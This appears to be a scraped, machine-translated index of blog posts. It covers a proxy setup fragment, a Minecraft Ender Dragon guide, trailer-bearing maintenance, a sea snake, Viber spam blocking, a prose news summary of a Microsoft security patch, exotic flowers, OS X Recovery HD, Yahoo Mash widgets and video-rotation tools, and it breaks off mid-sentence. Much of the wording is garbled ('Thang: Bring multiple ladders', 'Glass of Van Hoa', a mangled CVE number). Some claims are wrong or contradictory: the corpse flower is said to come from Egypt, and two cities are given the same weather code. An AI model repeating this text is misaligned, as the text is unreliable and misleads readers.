The dialog box below can be ignored because it is used to exclude certain pages if you do not want to connect the site via proxy. After clicking Save, the options will be saved and your computer is connected to the Internet through the proxy server.\nRelated articles:\nIntroduction to Proxy Servers Fix error Can't Connect to Proxy Server on Windows 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo7umr9Nmp6unqK56tLHRr5yrq12ku27DyKebqK%2BjYn5xedOoZKydk6q%2FpnnIp6ueqp6awW6twpycrKs%3D\n","link":"/post/how-to-connect-proxy-servers-on-windows-10-to-secure-internet-access/","section":"post","tags":null,"title":"How to connect Proxy Servers on Windows 10 to secure Internet access"},{"body":"There is a way to win the Minecraft game, which is conquering the dragon Ender (Ender Dragon). And of course this is the most difficult challenge built in the game. Your mission is to go to The End and hit your Ender Dragon.\nHere, ThuTh ThuatPhucSoft.vn will guide you step by step to go and conquer this last boss dragon. Invite you to follow!\n  Prepare Since this is a real and difficult adventure, your preparation needs to be sure, bring the following:\nBring a chest and a bed near the End gate so that when you die, you can return to the fight quickly, take a nap and put a few items in the chest. Note that you should not bring the bed to The End because it will explode when sleeping. Armor: Wearing the best type of armor you have, should be a diamond enchantment. Shoes: The Feather Falling shoe should be used to reduce damage when dropped from above. Sword: Best is a diamond sword with Sharpness charm. Pickaxe: Nobody leaves home without it. Bows and arrows: Bring a lot of arrows, at least fill 2 cells equivalent to 128 arrows. Food: Bring along cooked meat dishes to be able to recover quickly. Thang: Bring multiple ladders, at least 3 full cells. Ender Pearls: Has the effect of teleporting a short distance, very useful in combat. Block: A compartment filled with any block, be it rock or soil. Healing Medicine, Regeneration and Night Vision. Pumpkin Heads: There are many Enderman so you may want to avoid fighting with them, but the pumpkin will limit the visibility. A plunger or source of red rock (red stone torch, lever or button) to collect Dragon Eggs after you win. Glass jar if you want to collect the dragon's breath (Dragon's Breath) to make medicine. Find the underground dungeon To reach The End, you first need to find the End gate in the underground dungeon. The dungeon is built with honed moss stone, you can find libraries and a horde of silver fish suddenly appear here.\n  If you cannot find this dungeon, you need to make several Eye of Ender, prepare about 15-20 if possible. Then prepare the necessary items for a long trip and start on the road.\nGo outside and throw Ender's Eye in the air, it will always fly towards the nearest dungeon, then it will fall to the ground and you can pick it up, sometimes it breaks right in the air, that is why I want you to have lots of eyes prepared.\nKeep going in the direction that the Eye flew, go one at a time to release an eye to determine the direction you need to go. Remember to plug a torch to mark the way to avoid getting lost in case you want to go home.\n  Once the dungeon is located, Ender's Eye will immediately fall to the ground at this location instead of flying into the sky.\n  You proceed to dig down, apply the technique of digging 2 blocks for safety: Dig 1 block next to determine if there is lava below and then dig the block below your feet.\nJust like that and will definitely reach the dungeon.\n  When digging down, you will find the room as follows, containing an Ender gate and a gamblers, you need to quickly use the hoe to break the furnace and destroy all the Silver Fish.\n  Activate the End Portal Place Ender's Eye in the open cells, the gate will be opened for you. Jump in there and you'll get to The End.\n  Go to The End When you come here, you will find yourself standing on an End stone platform and surrounded Enderman. Look for the place with 8 Obsidian Towers (End Spike) surrounded. This will be where you see the Dragon Ender and fight it.\nIf you find yourself in a small cave, dig the stairs up to the surface. In case you are in a small dig, far from the main island, throw the Ender Pearl to teleport or use blocks to build bridges.\n  The dangers Enderman Don't look them in the eye and move quickly, if you find it difficult to avoid, put the pumpkin heads on and head over to the arena.\nDragon Ender\nThe Dragon will attack you in many ways from above with fireballs or breaths, both leaving a toxic area on the ground that you should stay away from. The dragon will also deal damage to you if you hit its head and wings.\nIf you bring a glass jar, you can exploit the Dragon's Breath to serve later modulation.\n  The biggest risk is that the Dragon can throw you into the air or when you turn off a Spike End.\nWhen the Dragon attacks you, hitting its head with a sword or arrow can cause it to cancel the attack. The Ender Dragon is healed when it comes near the Ender Crystals, so the first thing you need to do is destroy the Crystals first.\nDestroy the Crystal End The Crystal End is located on the top of the End Spike. You need to destroy all 8 Crystals corresponding to 8 End Spike before attacking the Dragon. Normally you will have to climb the stairs to the top of the tower and use the hoe to destroy it, if \"high-handed\" then you can shoot arrows on it.\n  When destroyed, Crystal End will explode equivalent to a TNT, so you should use the trick is to stand on a ladder and destroy it from afar. You will not be harmed. With this location, you can also easily use arrows to shoot the crystals in the other towers. However, do everything quickly, if you are hit from such a height, it will be a great loss.\n  Kill dragons After all of the Crystal Ends have been destroyed, the Dragon Ender will tend to fly to the socket with Bedrock in the center.\n  Wait here, when it flies down, use your sword to attack it from behind. Avoid attacking the head and its way, or it will knock you out. After a short time the Dragon will fly in the sky again but it will soon return.\n  Continue to do so until the Dragon is destroyed.\n  End The Dragon Egg will appear at the top of the nest, and the End Gate will start working so you can return to your world, the experience will drop a lot.\nTo get the Dragon Egg, you place the Plunger next to it, then use the engine to push the Egg out.\n  If you want to restart the fight, put the 4 Crystals back in a symmetrical position around the Dragon's Drive, and the Ender Dragon will quickly return.\n  Above is the method to defeat Ender Dragon in Minecraft, wish you happy gaming!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZnLW1ecSnm56qXZm%2ForPOp2Sipl2itq%2BxwquYn6w%3D\n","link":"/post/how-to-fight-ender-dragon-in-minecraft/","section":"post","tags":null,"title":"How to fight Ender Dragon in Minecraft"},{"body":" Wheel bearings, whether they're on an RV or a trailer of some sort, are essential in helping the wheels spin easily and freely. They need to be lubricated regularly so that they operate at their best capacity. Greasing, or repacking,...\nPart 1of 2:\nAccessing the Trailer Bearings  Lift the trailer with a car jack so you can safely access the wheels. Chock the wheels first by setting heavy wedge-shaped blocks in front of each one to keep the trailer from rolling while you're working on it. Place a jack stand on either side of the wheel and crank them up until the wheel is no longer touching the ground.[1] For this project, you should not need to ever be underneath of the trailer itself. Tip: Before removing the tire, test the sturdiness of the jacks. After the jacks have been engaged, wiggle the trailer with your bodyweight to see if the jacks stay in place. Make sure that the jacks aren't at risk of slipping out of place before you begin the rest of your task.\n  Loosen the lug nuts and remove the wheel from the trailer. Use a wrench or a tire iron to remove the lug nuts and set them off to the side somewhere safe. Pull the wheel off of the rod toward your body and put it off to the side, too.[2] If the lug nuts are rusted and hard to remove, spray them with a thread loosener, let them sit for 2-3 minutes, and then try again to remove them. If the tire is stuck on the rod, bang a mallet along the edge where the rim and tire come together until the tire comes loose.   Loosen and remove the dust cap with a screwdriver. The dust cap just pops into place, so you don't need to worry about unscrewing it. Wriggle the tip of a screwdriver between the hub and the lip of the dust cap and work it around the edge until the cap pops loose.[3] To get to the bearings, there are about 7 pieces that need to be removed. Some of these you may be able to remove by hand, but others you'll need to use screwdrivers, hammers, pliers, or wrenches.   Take out the cotter pin and remove the spindle nut. With the dust cap out of the way, you will see the spindle nut and the cotter pin, which looks similar to a bobby pin. The cotter pin will be bent at an angle, so take a pair of needle-nose pliers, straighten out the pin, and pull it out. Take out the spindle nut with your fingers or use a screwdriver to pop it out.[4] The spindle nut is also sometimes called a castle nut. If the cotter pin is rusty or seems fragile, replace it.   Loosen the nut and washer and remove the hub from the spindle. Not all models of trailers have the nut and washer, so don't panic if you don't see them. Once the nut and washer are off, you should be able to just jiggle the hub off with your hands. Set everything off to the side on clean rags or newspaper.[5] The trailer bearings are inside of the hub and, depending on their state, may come loose on their own at this point.  Remove the inner bearing and grease seal from the hub. Use a wooden dowel and a hammer to tap the bearing and grease seal out from the front of the hub (the front is the side where you can see the threads of the screws; the back is the side where you can see the tops of the screws). Set the bearing and grease seal to the side.[6] If the bearing isn't too dry, you may be able to push it out by hand or use a screwdriver to pry it out. If the seal is rusty, use something like WD-40 to loosen it up.  Part 2of 2:\nCleaning and Greasing the Bearings Soak the bearings and spindle nut in kerosene. Use a small pan and fill the bottom with 2 to 3 inches (5.1 to 7.6\u0026nbsp;cm) of kerosene. Set the greasy bearings and spindle nut into the kerosene and let them soak for about 10 minutes.[7] If you notice any damage in the bearings, like scratches, pitting, or discoloration, you'll need to buy replacements. If you don't want to use kerosene, you could also use acetone or mineral spirits. Warning: Kerosene is flammable, so don't use it around open flames and don't smoke or operate a lighter while you're using it.\n Clean the inner and outer races while the bearings are soaking. Wipe away any visible grease with a clean rag and visually examine them out to see if they are damaged at all. If you need to, dip an edge of a rag into kerosene and use it to clean off any stubborn grease.[8] Damage to a race might look like pits, dents, or scratches. Just like there are inner and outer bearings, there are also inner and outer races. Thankfully, they are the same shapes and sizes, so you don't need to worry about getting them mixed up.  Replace the grease seal every time you grease the trailer bearings. Even if the grease seal still appears to be in good condition, it's recommended that it be replaced every time you perform maintenance on the trailer bearings. Keep in mind that you'll need 4-8 grease seals, just depending on how many wheels your RV or trailer has.[9] You can buy new grease seals online or at your local auto parts or trailer supply store.  Wipe down the clean bearings and spindle nut with brake cleaner. Take the bearings and spindle nut out of the kerosene and set them on a clean rag or newspaper. Spray them with brake cleaner and either dry them off with another clean rag or let them air dry.[10] This step just helps get the bearings and spindle nut extra clean. If you feel satisfied with how the bearings look after soaking in the kerosene, you can skip this step. You can buy break cleaner online or at an auto parts store.   Repack the bearings with new grease. If you don't want to get grease all over your hands, wear a pair of rubber gloves during this process because it can get messy. Scoop up about 1 tablespoon (15 grams) of grease with your fingers and manually push it into the bearings. Rotate the rollers as you go, making sure all of them are thoroughly covered. Coat the inside of the bearings, too.[11] Lucas Oil 10320 Multipurpose Marine Grease, Sta-Lube SL3121 Wheel Bearing Grease, and Star Brite Wheel Bearing Grease are 3 of the top-rated bearing greases. Even if your trailer doesn't go near water, you can still use marine grease—it actually is more durable and heat-resistant than many other products.  Replace the bearings, hub, spindle nut, cotter pin, and dust cap. Use the wooden dowel and hammer to tap the bearings back into place in the hub. Then reassemble the rest of the parts until the dust cap is popped back into place. Tap it with the hammer as well to make sure it is in there as securely as possible.[12] If your model of trailer also had a nut and washer, don't forget to replace those between the outer bearing and the spindle nut.  Put the tire and lug nuts back into place. Settle the wheel back onto the rod and screw the lug nuts back on with a wrench or tire iron. Once it is secured, you can lower the car jacks and move on to the next tire.[13] In all, this project may take you 1-3 hours, just depending on how easy it is to take apart all the pieces and how many tires you need to do.   Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2Bimq60sYytqZqhnJq%2Fbq7Emqmippeo\n","link":"/post/how-to-grease-trailer-bearings/","section":"post","tags":null,"title":"How to Grease Trailer Bearings"},{"body":"Belcher sea snake, the world's most unique snake that can kill thousands of people with only a few milligrams of venom makes any enemy and prey terrified.\nThis snake usually lives in warm waters from the Indian Ocean to the Pacific Ocean. They have a flattened body structure and are similar in size to sea eels. They have quite eye-catching colors, black and white or dark blue stripes. Belcher sea favorite food is puffer fish, pangasius .\n  The world's most unique snake species is related to terrestrial cobra.\n  With a tremendous amount of venom and the ability to swallow prey of the same size and length, the Belcher sea snake is a haunting \"horror\" for many animals in the ocean.\n  In the \"Animal Kingdom\" documentary series, there was a scene where Belcher sea snake swallowed its prey in size in less than 60 seconds. After curling up to make the prey poison faster, he had a hearty meal.\nBirds flying in the sky also have days of death by a group of crabs If you suffer from the world's most poisonous spider, how will your body be destroyed? Listed 10 largest species of creatures in the ocean ncG1vNJzZmismaXArq3KnmWcp51ktm60wK%2BcZqyYmnq2usiqrJ5lppq7sLmMoqVmrJiaeri70aWbZqeWYsCvrcqeqmasmJp6tLHAZqqnmZuawG6t0Z5knpmknruoecCgmKKmXZa7pXnAoJiipl2eu26tjKampp2eqQ%3D%3D\n","link":"/post/i-have-the-unique-venom-in-the-world-of-snakes-the-sea-snakes-are-eating-again-and-again-in-a-moment/","section":"post","tags":null,"title":"I have the unique venom in the world of snakes, the sea snakes are eating again and again in a moment"},{"body":"In the past, many people use the free calling and texting application Viber complains because of continuously receiving spam text messages from strange phone numbers. How to prevent this situation?\nIn the latest version 4.2 for Android, iOS and Windows Phone, Viber has updated the feature to block messages and calls from unwanted phone numbers. If you are using an older version of Viber, you are here to download Viber for iOS , and for Android !\nFrom now on, every time you receive a spam advertising message from strange phone numbers that are not in the directory, just open the normal message and press the Block button to put it into the block list. Later, you won't have to receive spam messages from this phone number anymore.\n  To manage the list of blocked phone numbers, go back to the main interface of Viber, press the three horizontal bar icon in the lower right corner\u0026gt; select Settings \u0026gt; Privacy \u0026gt; BlockList. Here, you can either ' unlock ' ( Unblock ) or block a new number ( press Block number and then enter the phone number in the empty box ).\n  ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJukn5i4brnErKqan5Woeri0xKdkrKiRorqmsIyopWaumZeysw%3D%3D\n","link":"/post/instructions-to-block-messages-when-spammed-on-viber/","section":"post","tags":null,"title":"Instructions to block messages when spammed on Viber"},{"body":"The latest security update helps patch many vulnerabilities, including 25 very important errors, 21 critical errors and 2 average errors. These vulnerabilities affect many different versions of Windows OS, Internet Explorer, Microsoft Edge, Microsoft SharePoint, Windows Subsystem for Linux, Adobe Flash Player, Windows Hyper-V and Microsoft SQL Server.\nCVE-201708620: Windows Search Remote Code Execution Vulnerability\nThe most interesting and most important vulnerability is the Windows Search Remote Code Execution Vulnerability (CVE-2017-8620), affecting all versions of Windows 7, Windows 10, which can be used to attack with computer worms like in the WannaCry case because it uses SMBv1 connection.\nAn attacker could exploit the vulnerability through an SMB connection to gain priority and gain control of the target Windows computer.\n  Many important vulnerabilities are fixed during this security update\n'Remote code execution vulnerability occurs when Windows Search processes objects in memory. An attacker who successfully exploited this vulnerability could control the infected system. You can then install the program, view, change, delete data or create a new account with full user rights, \"Microsoft explained. 'In addition to security changes to patch the vulnerability, this update also includes in-depth defense to help improve security-related features.\nCVE-2017-8633: Windows Error Reporting Elevation of Privilege Vulnerability\nAnother important priority-related vulnerability in Windows Error Reporting (WER) can allow an attacker to run programs created specifically to gain administrative rights on the target machine and steal information. sensitive. 'This update will correct the way WER handles and executes files'.\nCVE-2017-8627: Windows Sybsystem for Linux DoS Vulnerability\nAn important vulnerability discovered in Windows Subsystem for Linux allows an attacker to execute code with higher permissions.\n'To exploit the vulnerability, an authenticated attacker can run the generated software. This security update solves the problem by correcting how Windows Subsystem for Linux NT Pipe processing.\nSuccessful exploitation will result in refusal to attack the service, making the infected device unresponsive. Microsoft also released an important security update for Adobe Flash Player on Internet Explorer that will stop supporting Flash by the end of 2020.\nTo install the update, simply go to Settings \u0026gt; Update \u0026amp; Security \u0026gt; Windows Update and check for updates or manually install.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYr%2BmuMSaqp6cXZa7bsHPnZitnZRivaLAwqFkn6eiYn92ecKroK2hk5a5br%2FEnKyroaSueqm7y56q\n","link":"/post/microsoft-released-an-updated-patch-for-25-critical-security-holes/","section":"post","tags":null,"title":"Microsoft released an updated patch for 25 critical security holes"},{"body":"  Amorphophallus titanum, scientifically known as Amorphophallus titanum, is the largest unbranched cluster of flowering plants in the world. They come from Egypt. The flower structure consists of a giant yellow stamen growing in the center, surrounded by layers of ruffled petals. Each scavenger flower is 2.4m high and blooms are 7-10 years apart\n  Instead of a seductive scent, this flower has a rotten flesh-like smell and color that attracts insects with the aim of allowing them to carry pollen to breed.\n  Amorphophallus paeoniifolius, also known as the elephant's foot, the \"bellflower\" tree, commonly occurs in tropical regions of India, Papua New Guinea and Australia. When the flowers die, they produce a starchy root, which is commonly used in dishes\n  It is also one of the many plants that produce an unpleasant odor to attract pollinators and flies and beetles. The tree blooms once a year around the beginning of the rainy season. The flowers only live for about 5 days, can reach a height of more than 1.8m after being successfully pollinated\n  Swaddled Babies, also known as \"diaper baby orchid\", originated from the Colombian Andes in South America. This is one of the most exotic flowers in the world\n  Swaddled Babies orchids have a rather complex structure. At a certain flowering cycle, when the petals are not yet open, the top of the flower is still tied together to look like the shape of a diaper-wrapped baby. This orchid flowers in the summer. They can grow to 10cm in size and have an enchanting scent\n  This flower is also impressed by its interesting pollination mechanism. When an insect enters the flower to suck nectar, they have to \"fight\" with the pillars of the flower that contains the pollen.\n  The tiger's nail flower scientific name is Strongylodon macrobotrys, native to the tropical forests of the Philippines. Flowers grow in clusters, can be up to 3m long\n  The tiger's hooves are mainly jade, but according to those experienced in growing flowers, the color of this flower has a certain variation within a day. Specifically, in the morning, the marble is blue, at noon turns blue, and in the afternoon, it turns green.\n  Besides their distinctive color, the tiger's claw petals are also impressed by their claw-like shape. The flower's color and strange shape make it easy for this flower to attract bats to pollinate it\n  Psychotria elata, also known as Hooker's Lips, is a shrub found in forests in tropical countries in the Americas such as Costa Rica and Colombia. Psychotria elata is impressed by the shape of a young woman's lips\n  Before the flowers bloom, the leaves resemble a red human lips. This special shape helps the plant to attract hummingbirds and butterflies to pollinate it\n  The flowers usually bloom from December to March, are white in color and have an impressive fragrance. The Psychotria elata tree is very useful. The bark and leaves of the plant are sometimes used as folk remedies for ear pain, coughing, and skin irritation. Even indigenous people in the Colombia area also use this flower to treat dyspnea\n  Dragon muzzle flower, scientifically known as Antirrhinum or Snapdragon or hippocampus, is a flower that grows popular in rocky lands throughout Europe, America and North Africa.\n  When fresh, the flowers are bright pale pink in color. However, when it dries up, they become ugly and terrifying in the shape of skulls\n  According to the concept, in ancient times, dragon muzzle flowers were often planted in gardens to help ward off evil spirits and protect families from curses or fraudsters. It is also believed that, those who carry a dragon muzzle flower in their body will become more attractive and beautiful.\n  The scavenger plant Rafflesia arnoldii is a parasitic species, growing in the form of a vine, without leaves. This tree species is found in the tropical forests of Borneo (Malaysia) or Sumatra (Indonesia).\n  Rafflesia arnoldii is a rare and difficult to detect species. The flower is large, has five red petals with white streaks. A single Raspberryia arnoldii flower can measure 1m in diameter and weigh 11kg\n  Like the corpse Amorphophallus titanum, the scavenger Rafflesia arnoldii ranks among the most scent of all. Every time their petals are opened, the scent of rotten flowers emits the smell of flesh rotting a large area, attracting insects that like the smell of rotten flesh and helping this flower to pollinate successfully.\n  Stapelia gigantea is a beautiful flower that smells like rotten meat. They are found in tropical Southeast Africa\n  This flower is impressed by its starfish-like appearance. Stapelia gigantea blooms in the summer. Their special shape and smell like rotten meat help them attract pollinators\n  Ghost orchid has the scientific name of Dendrophylax lindenii, found in Cuba and Florida, USA. They are impressed by their unique appearance like spiders\n  Ghost orchids can only live in the dark and bloom in good condition. Interestingly, this plant does not have a single leaf. Both their stems and flowers are green, so it is difficult to identify. This flower emits a soap-like odor during the blooming period. There was a time when people scoured and hunted this flower, making it one of the most expensive plant varieties on the planet.\n  With its appearance resembling a pebble, the Lithops stone flower is known as the most exotic flower on the planet. They have many different names such as heather, cactus, flower gravel . and are native to South Africa\n  In fact, the plant's unique shape is formed from merging the outer edges of two separate leaves. Flowers will bloom from between these two leaves. In particular, Lithops can live for more than 50 years\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqWfqMFuv9Oaqa2kmaO0brHXqKuim12bubDDxKuqZqGeYsGpsYywpquklA%3D%3D\n","link":"/post/top-10-most-startling-exotic-flowers-in-the-world/","section":"post","tags":null,"title":"Top 10 most startling exotic flowers in the world"},{"body":"With the introduction of OS X Lion, Apple has made fundamental changes on how OS X is sold and distributed. Installation via DVD has been the past. OS X is available as a download from the Mac App Store.\nWith the removal of installation DVDs, Apple needs to provide alternative methods to install the operating system, repair boot drives, system files, and reinstall the operating system. All of these features were previously available on the installation DVD.\nApple's solution is to download OS X containing the program, not only install the operating system on the Mac, but also create a hidden volume on the boot drive, called Recovery HD. This hidden volume contains the minimum version of OS X that is enough to allow the Mac to boot and contain various utilities.\nHow to troubleshoot OS X with Recovery HD Utilities are in volume Recovery HD Access volume Recovery HD Reboot directly into HD Recovery Restart Startup Manager Use HD Recovery volume Use Disk Utility Get Help Online feature Reinstall OS X option Restore From Time Machine Backup option  Create HD Recovery Volume on another drive Utilities are in volume Recovery HD   Disk Utility : To repair broken drives and system files. Safari: Allows you to go online and research any issues you may encounter. Reinstall OS X : Can be used to install a new copy of the operating system on a Mac. Restore From Time Machine Backup : For times when everything goes wrong and you need to restore data from your backup. Terminal: To work with the Mac file system or edit the file. Network Utility: In case you need to troubleshoot the network. Firmware Password Utility: To set or delete firmware password, one of the security options for OS X. As you can see, Recovery HD can do more than just install the operating system. HD Recovery provides almost all similar services that are included on older installation DVDs.\nAccess volume Recovery HD In normal Mac operations, you may not pay attention to the existence of volume recovery HD. HD Recovery is not placed on the desktop and Disk Utility will hide it unless you use the debugging menu to display hidden volumes.\nTo use volume recovery HD, you must reboot your Mac and select Recovery HD as the boot device, using either of the following methods.\nReboot directly into HD Recovery 1. Restart the Mac while holding down the Cmd and R keys. Continue to hold both keys until the Apple logo appears.\n2. When the Apple logo appears, the Mac will boot from the Volume Recovery HD. Then (it may take longer to boot from Recovery HD, so be patient), a desktop will appear with a window containing Mac OS X utilities and a basic menu bar on the top.\nRestart Startup Manager You can also reboot your Mac into Startup Manager. This is the same method used to boot into Windows (Bootcamp) or other operating systems that you may have installed on your Mac. There is no particular advantage when using this method, but the article still mentions this section, for those who are familiar with the Startup Manager.\n  1. Restart the Mac and hold down the Option key.\n2. Startup Manager will check all attached devices.\n3. When Startup Manager starts displaying the icon of the internal and external hard drive, you can release the Option key.\n4. Use the left or right arrow keys to select the Recovery HD icon.\n5. Press the Return key when the drive you want to boot (Recovery HD) is highlighted.\n6. The Mac will boot from Recovery HD. This process may take longer than a normal startup. When the Mac has finished booting, it will display a desktop with Mac OS X Utilities window open and a basic menu bar on the top.\nUse HD Recovery volume Now that the Mac has booted from the volume recovery HD, you are ready to perform one or more tasks on the boot device (which you cannot do when booting from a normal boot drive).\nFor convenience, the article includes appropriate instructions for each common task that Recovery HD is used for.\nUse Disk Utility   1. From the OS X Utilities window, select Disk Utility, and then click Continue.\n2. Disk Utility will launch as if you are using the application from the normal boot drive. The difference is that by launching Disk Utility from the Volume Recovery HD, you can use any Disk Utility tool to check or repair your boot drive. For details on how to do this, see the following instructions. Remember that if any of these instructions require you to launch Disk Utility, you have completed it at this point.\nUse Disk Utility to repair the hard drive and decentralize the drive Hard drive format with Disk Utility Back up the boot drive using Disk Utility When you finish using Disk Utility, you can return to OS X Utilities window by selecting Quit from the Disk Utility menu .\nGet Help Online feature 1. From OS X Utilities window, select Get Help Online , then click Continue.\n2. Safari will launch and display a special page with general instructions on how to use volume recovery HD. However, you are not limited to this simple help page. You can use Safari as usual.\nAlthough bookmarks won't appear, Apple has provided bookmarks that take you to Apple, iCloud, Facebook, Twitter, Wikipedia and Yahoo websites. You will also find many popular news and websites bookmarked for you. You can also enter a URL to access the site you choose.\n3. After using Safari, you can return to OS X Utilities window by selecting Quit from the Safari menu.\nReinstall OS X option   1. In the OS X Utilities window, select Reinstall OS X , and then click Continue.\n2. OS X Installer will start and take you through the installation process. This process may vary, depending on the version of OS X reinstalled.\nRestore From Time Machine Backup option   Restoring your Mac from a Time Machine backup will cause all data on the selected destination drive to be deleted.\n1. Select Restore From Time Machine Backup in the OS X Utilities window and click Continue.\n2. Restore Your System application will launch and guide you through the recovery process. Be sure to read and note the warnings in the Restore Your System application . Click Continue to continue.\n3. Follow the steps outlined in the Restore Your System application . When the process is complete, the Mac will restart from the destination drive you selected.\nCreate HD Recovery Volume on another drive   Volume Recovery HD can be a lifesaver, at least when it comes to troubleshooting and fixing problems with Macs. But the volume recovery HD is only created on the boot drive inside the Mac. If there are any errors with that drive, you might be in big trouble.\nThat is why you should create another copy of the HD Recovery volume on an external drive or USB flash drive.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjK%2Bmpa2dmnqpsIyrnJynppq%2FunnTqGSrnZmjwLWty6VkqKpdqb%2BwwcGlnKygn6TBbrvSZq8%3D\n","link":"/post/use-volume-hd-recovery-to-reinstall-or-troubleshoot-os-x/","section":"post","tags":null,"title":"Use volume HD Recovery to reinstall or troubleshoot OS X"},{"body":"Add Yahoo! Weather to MashYahoo! Weather is a popular service of Yahoo. To add this function to the Mash page, click on the Gallery Module in Mash to create Yahoo! Weather on its Mash. Yahoo! Weather at the end of the section The popular stuff page 1, select Grab it next to it.\nBack in Profile, you can see that this module has already appeared in the Mash page, but there is no information yet.\nNow, you just need to enter Location code and Temperature unit is finished. Location code by Yahoo! regulations. Default temperature measurement unit of Yahoo! Weather is degree F. Next, you go to http://weather.yahoo.com website and sign in with Yahoo Account. Next, enter the city or province Enter city or zip code. There are 2 ways to use Yahoo! Weather to find weather forecasts. - Option 1 : Since Vietnam does not yet have a Zip code, you enter the name of the province or city directly and the country you want to find, of course in English. If you enter Vietnamese, have a Yahoo! will not find. For example: If you want to find the weather in Ho Chi Minh City, you will enter: ho chi minh vietnam or vietnam ho chi minh , ho chi minh vn . Entering is done, clicking on Go or typing Enter will result fruit.\n  - Method 2 : From the homepage of http://weather.yahoo.com, select Asia then select Vietnam, the province name should see the forecast to see the weather forecast (see Figure 2). Method 2 is a bit time-consuming but 'safer'. You can select the province to view, for example Ho Chi Minh City, it will be as shown in Figure 3. Next, in the Address Bar (Address Bar) of your browser, you should pay attention to the string of characters VMXX0007 . Each province or city will have its own chain.\n  For example: Hanoi is VMXX0007 , Hue is VMXX0009 , Ho Chi Minh City is VMXX0007 . Copy this string for use on the Yahoo! Mash. If you want to forecast the province's weather, select the appropriate string of characters for that province. Then go back to Mash page and just create Yahoo! Weather, paste it into the Location Code section and the Temperature unit you should choose is the letter C because our country usually uses the temperature measurement unit as the Celsius degree.\n  Then you Save is done. So you've got Yahoo! Weather on its Mash.\n  Hover Module: Change color as desired If you want someone to look at your Mash every time you hover over any module, the module will change color according to your preference, the Hover module will help you do this! First, you have to Grab it in the Module Library.\n  Once your profile has this module you can customize it to use it. Click on Edit and enter a favorite color code (according to the 16th basis we posted on the previous issue) to do so. For example, I choose green 66FF33 . You save. It is done. You drag the mouse and enjoy the difference! Add Van Hoa Glass To decorate your Mash page more cute, I will introduce you Kaleidoscope Glass (Kaleidoscope) module. It is a Flash motion picture with an impressive design. To get started with Glory King, you need to Grab it from the Module Library of Mash.\nAfter appearing on Mash's profile page, just answer the question of what is your favorite spice? (Your favorite spice) is that we have a 'Kaleidoscope' already. Remember to answer only one English word, one word, it can be hot (hot), bitter (bitter), sweet (sweet) . any of your favorite spices! Answer and enjoy the Kaleidoscope of Yahoo! I like sweet, so I chose sweet (sweet).\n    ncG1vNJzZmismaXArq3KnmWcp51kxqK0zqhkppmjnXq2v8innmasmJp6uLHArZ%2Beql2bvLOxwpqqrWWdpLG2uMRmmKecXam1pnnGpZisq12ks27CwKdkoaeR\n","link":"/post/using-the-weather-forecast-module-and-the-glass-of-van-hoa/","section":"post","tags":null,"title":"Using the weather forecast module and the Glass of Van Hoa"},{"body":"Not everyone can be a good videographer, as evidenced by the fact that there are many videos recorded with the phone or that the camera looks good but when coping into the computer it is turned backwards, it is very difficult to see. For those of you 'blind' technology, this is probably a difficult problem to adjust accordingly.\nHowever, using 4 video rotation software is reversed, tilted 90, 180 degrees below will help you get rid of that bad crying situation in the blink of an eye. Especially, these free applications allow you to rotate videos in every direction with just a few extremely simple mouse clicks. So if you are still wondering what software to use, you can refer to the top 4 reverse video rotation software, tilted video rotation that we summed up in this article.\nTop 10 best audio and audio converter software available today Top best video editing software on computer Top software to create videos from quality images 1. VirtualDub Download VirtualDub You can easily fix the situation of unfortunate videos being turned upside down, turned in the wrong direction with VirtualDub. This is a video editing and editing tool, inserting subtitles with many popular video formats today. VirtualDub offers many useful features for editing and editing videos such as cutting videos from favorite videos, copying, using filters, etc. And one of VirtualDub's special features is the ability video rotation function is reversed, tilted 90, 180 degrees.\nUsing VirtualDub, you manipulate:\nAfter opening the video to rotate\u0026gt; You go to Video\u0026gt; Filters (or press Ctrl + F) . Click the Add button to display a list of custom clip commands \u0026gt; Select Rotate\u0026gt; OK . The new dialog box appears, select Left by 90 degrees, Right by 90 degrees to rotate 90 degrees to the left (right) or choose Around 180 degrees to reverse the clip.   2. VLC Media Player Download VLC Media Player One of the best music player software available today is VLC Media Player. What makes many people like to use this software is probably because it allows users to watch TV online right on the software. In particular, VLC Media Player also supports users to rotate videos inverted, tilted 90, 180 degrees quickly for convenience when viewing videos on this music player.\nWith a user-friendly interface, easy to use, many functions plus support for Vietnamese, VLC Media Player is definitely a video-rotating software that meets your needs. You can refer to the tilted and tilted video tutorial with VLC Media Player for detailed usage.\n  3. Free Video Flip And Rotate Download Free Video Flip and Rotate As mentioned above, usually videos recorded with the phone or camera are upside down, not rotating in the right direction are only detected when stored and viewed them on the computer. Free Video Flip and Rotate will be the solution to help you adjust the right direction of these videos, returning the correct direction for your video.\nSpecifically, the software offers various rotation and reverse options such as 90-degree reversing, horizontal rotation, vertical rotation, . Free Video Flip and Rotate is capable of working with most video formats such as AVI , MPG, MPEG, MP4, AVI, ASF, MOV, FLV, . and save videos in AVI format.\nHow to use Free Video Flip and Rotate is very simple, with just a few clicks of the button as follows:\nEnter video into the program. In the main interface, to rotate the video, use the right, left, 180-degree, horizontal and vertical rotation icons , . Set the folder containing the video by clicking the button marked . as shown below and selecting the folder to save the video . Click Save video to save the video again.   4. Window Movie Maker Download Window Movie Maker Another option is the best video rotation software for you, Windows Movie Maker. This is known as a video editor, video cutter, video composer, video editor, video maker, etc. After created videos are stored on computers, external storage devices or shared. with friends, relatives, upload to the Internet. The interesting thing that many people do not know is that Windows Movie Maker has the ability to rotate the video in reverse, tilt 90, 180 degrees easily, returning the right direction for the video.\nWith Windows XP version, Windows Movie Maker is built into the system, so no installation is required. However, this utility is not available on Windows 7, Windows 8, and Windows 10 computers, to bring Windows Movie Maker onto Windows 7 or later computers, follow the instructions to install this Windows Movie Maker . Therefore, to rotate the video upside down, tilt it with Windows Movie Maker you need to install the application on the computer.\n  Above is the top 4 video software with reverse, tilted 90, 180 degree best, now many users. Please refer and choose for yourself a suitable video rotation software offline. In addition, if you feel that installing and using these tilted and tilted video rotation software is somewhat complicated, you can choose to rotate the video upside-down or tilted by Videorotate online.\nSee more:\nHow to record video with a laptop without installing software How to create effects Slow Motion video Windows 10 does not need software? How to convert video to audio for 